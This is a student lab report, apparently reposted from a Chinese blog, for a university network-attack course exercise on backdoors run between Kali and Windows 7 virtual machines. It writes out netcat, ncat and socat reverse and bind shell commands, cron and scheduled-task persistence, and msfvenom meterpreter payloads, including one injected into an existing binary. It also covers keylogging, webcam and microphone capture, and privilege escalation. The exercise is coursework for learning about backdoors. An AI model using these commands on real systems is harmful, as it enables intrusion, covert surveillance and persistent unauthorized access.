zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践

    实验内容

    • (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

    • (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

    • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    首先是从网上下载免费软件或者游戏外挂驱动什么的,因为这些软件往往会要求较高的权限,管理员权限等,这样后门进入我的电脑就比较容易,而且杀毒软件也不会杀掉
    浏览网页的时候可能会因为浏览器漏洞进行后门的下载

    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    首先可以设置开机自启动,或者定时启动,或者与某个应用程序捆绑,在你打开程序的时候后门就会自动启动

    (3)Meterpreter有哪些给你映像深刻的功能?
    他可以自己定制后门软件,就像流水线一样,可以针对不同用户不同功能进行私人定制化,防止功能太强的一个程序比较大,容易被发现

    (4)如何发现自己有系统有没有被安装后门?
    安装杀毒软件,及时打开防火墙,经常查杀病毒木马,及时升级系统,平时不要去下载什么外挂或者游戏补丁等,把开机自启动的不必要的软件关掉

    实验一

    任务一 Windows获得Linux Shell

    • 1.首先使用命令ipconfig查看Windows的IP地址

    • 2.进入老师给的程序的ncat文件夹中,使用命令ncat.exe -l -p 5303监听本机的5303端口

    • 3.在kali环境中使用netcat命令反向连接到Windows主机,由于我的电脑使用ncat发现没有这个命令,所以只能使用netcat 命令netcat 192.168.1.101 5303 -e /bin/sh进行连接

    • 4.成功获得kali的权限,如图所示

      注意!!!能成功的前提是Windows防火墙得关,虚拟机都是用桥接模式,IP地址在同一个子网下

    任务二 Linux获得Windows Shell

    • 1.在kali使用ifconfig查看kali的IP地址,第二行的就是IP地址了

    • 2.使用nc指令监听5303端口nc -l -p 5303

    • 3.在Windows下,使用ncat程序的-e选项反向连接kali的5303端口
      ncat.exe -e cmd.exe 192.168.1.154 5303

    • 4.在kali下可以看到已经获得Windows权限Microsoft Windows,可以输入命令进行操作

    任务三 使用nc传递数据

    • 1.首先在Windows下监听5303端口ncat.exe -l 5303
    • 2.在kali下连接到Windows端口netcat 192.168.1.101 5303
    • 3.建立连接后可以进行数据传输下面是我进行数据传输的结果

    任务四 使用netcat获取主机操作Shell,cron启动

    • 1.在Windows系统下,监听5303端口ncat.exe -l -p 5303
    • 2.使用crontab -e指令编辑一条定时任务,输入指令后选3进入crontab编辑界面
      在最后一行添加45 * * * * /bin/netcat 192.168.1.101 5303 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的5303端口,然后wq保存退出
    • 3.保存退出后的结果
    • 4.在16.45分成功获取了权限
    • 实验一借结束

    实验二 使用socat获取主机操作Shell, 任务计划启动

    • 在win7中打开我的电脑,右键点击管理,在任务计划程序中点击创建任务,填写任务名字并编辑触发器,具体配置见图片

    • 点击操作选择启动程序程序或脚本填写你自己的socat.exe程序的路径,在添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr

    • 这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exestderr重定向到stdout

    • 创建完成之后锁定计算机再重新启动即可发现程序已经在运行了

    • 然后在kali虚拟机中输入socat - tcp:192.168.1.101:5303这里的IP即win7的IP地址,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5303端口,此时可以发现已经成功获得了一个cmd shell

    • 第二个实验结束

    实验三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 在kali上执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe这里的IP地址填写kali的IP地址,生成后门程序20165303_backdoor.exe

    在Windows下进入ncat文件夹,下输入命令ncat.exe -lv 5303 > 20165303_backdoor.exe指令,通过-lv选项看到当前的连接状态,这样被控主机就进入了文件接收模式

    • 在kali中执行nc 192.168.1.101 5303 < 20165303_backdoor.exe,这里的IP为被控主机IP,即WindowsIP,进行后门文件的传输
    • 这里可以看到已经传输成功

    • 在Kali上使用msfconsole指令进入msf控制台

      先输入use exploit/multi/handler使用监听模块,
      set payload windows/meterpreter/reverse_tcp,设置payload
      set LHOST 192.168.1.154设置反弹回连的IP和端口,这里用的是LinuxIP,特别注意
      set LPORT 5303设置反弹回连的IP和端口

    然后输入show options

    在输入exploit使用监听

    运行Windows7下的后门程序

    可以看到kali已经获取了权限

    • 实验三结束

    实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    在上一实验的基础上就可以继续,不需要退出来,我就是退出来后发现需要接着上一问继续做,然后又重新做了一遍实验三,炸裂

    • 1.使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

      在主文件夹中可以看到保存的音频文件wav

    • 2.使用webcam_snap指令可以使用摄像头进行拍照

    • 3.使用keyscan_start开始记录下敲键的过程,使用keyscan_dump指令读取敲键的记录

    • 4.使用screenshot可以进行截屏

    • 5.使用getuid可以查看当前用户,使用getsystem指令进行提权

    • 6.也可以使用webcam stream进行录像

    实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    可以利用MSF直接生成shellcode注入到程序中

    • 这是网上查到的MSF命令行选项

    -p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

    --payload-options 攻击负荷(payload)标准参数(options)列表。

    -l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

    -n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

    -f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

    --help-formats 变量格式列表

    -e, --encoder <encoder> 使用的编码(encoder)

    -a, --arch <arch> 使用的结构(architecture)

    --paltform <paltform> 攻击负荷的平台(platform)

    --help-paltform 变量平台的列表信息

    -s,--space <length> 产生有效负荷的最大长度

    --encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

    -b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘x00xff’

    -i,--iterations <count> 对负荷进行编码的次数。

    -c,--add-code <path> 指定一个详细win32 shellcode文件给include

    -x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

    -k,--keep 保留模板行为并且把负荷作为一个新的线程注入

    -o,--out <path> 保存攻击负荷(payload)

    -v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

    --smallest 生成最小可用攻击负荷

    -h,--help 显示msfvenom使用信息

    现在生成shellcode并注入到pwn1中

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -x /root/pwn1 -f elf > pwn4

    然后使用MSF进行监听
    先输入msfconsole
    然后输入set payload linux/x86/meterpreter/reverse_tcp
    在输入set LHOST 192.168.1.154
    接着set LPORT 5303
    开始监听exploit

    在Linux中运行pwn程序,本来想在Windows中运行的,但是发现pwn程序无法运行,这应该是Linux程序
    发现成功了

    • 首先应该注意给pwn4程序加权限chmod +x pwn4
    • 任务三中被监听主机是Windows系统,则应为windows,而本任务中为Linux系统,则应改成linux/x86

    这个实验重要的还是让我们深入了解MSF工具生成各种想要的后门或者生成shellcode注入到其他可执行程序中,这就告诉我们以后利用一个程序把自己后门文件注入进去,在别人使用这个程序的时候自然的就可以启动后门,然后就达到我们的目的了,比单纯的生成后门程序,让别人傻瓜式的点击运行要高级的多

    总结与体会

    遇到的问题

    • 1.首先就是两台虚拟机win7和kali都需要互相ping通,Windows防火墙需要关掉,虚拟机用桥接模式
    • 2.其次最好能找一台带照相机功能的win7,要不然的话不太好做
    • 3.在做第三个实验的时候要注意输入命令的时候到底是哪一个IP地址,不要搞错,否则就得重来

    体会

    后门是我们网络攻防的一个重要的环节,后门特指潜伏于操作系统中专门做后门的一个程序,有了这个程序我们可以轻易获取系统的权限做我们想要的事情,当然防范后门也是一个重要的环节
    后门基本环节就是生成、投送、启动,生成,生成一个后门相对来说容易一些,最重要的就是投送和启动,投送可以利用人们的利益心里进行投送,启动的话就需要做一些手脚了
    当然这是最简单的后门,我们还需要继续努力,多多学习

  • 相关阅读:
    SharePoint 2013 图文开发系列之自定义字段
    SharePoint 2013 图文开发系列之Visual Studio 创建母版页
    SharePoint 2013 图文开发系列之代码定义列表
    SharePoint 2013 图文开发系列之计时器任务
    SharePoint 2013 图文开发系列之应用程序页
    SharePoint 2013 图文开发系列之事件接收器
    SharePoint 2013 图文开发系列之可视化WebPart
    SharePoint 2013 图文开发系列之WebPart
    SharePoint 2013 对二进制大型对象(BLOB)进行爬网
    SharePoint 2013 状态机工作流之日常报销示例
  • 原文地址:https://www.cnblogs.com/Vventador/p/10560160.html
Copyright © 2011-2022 走看看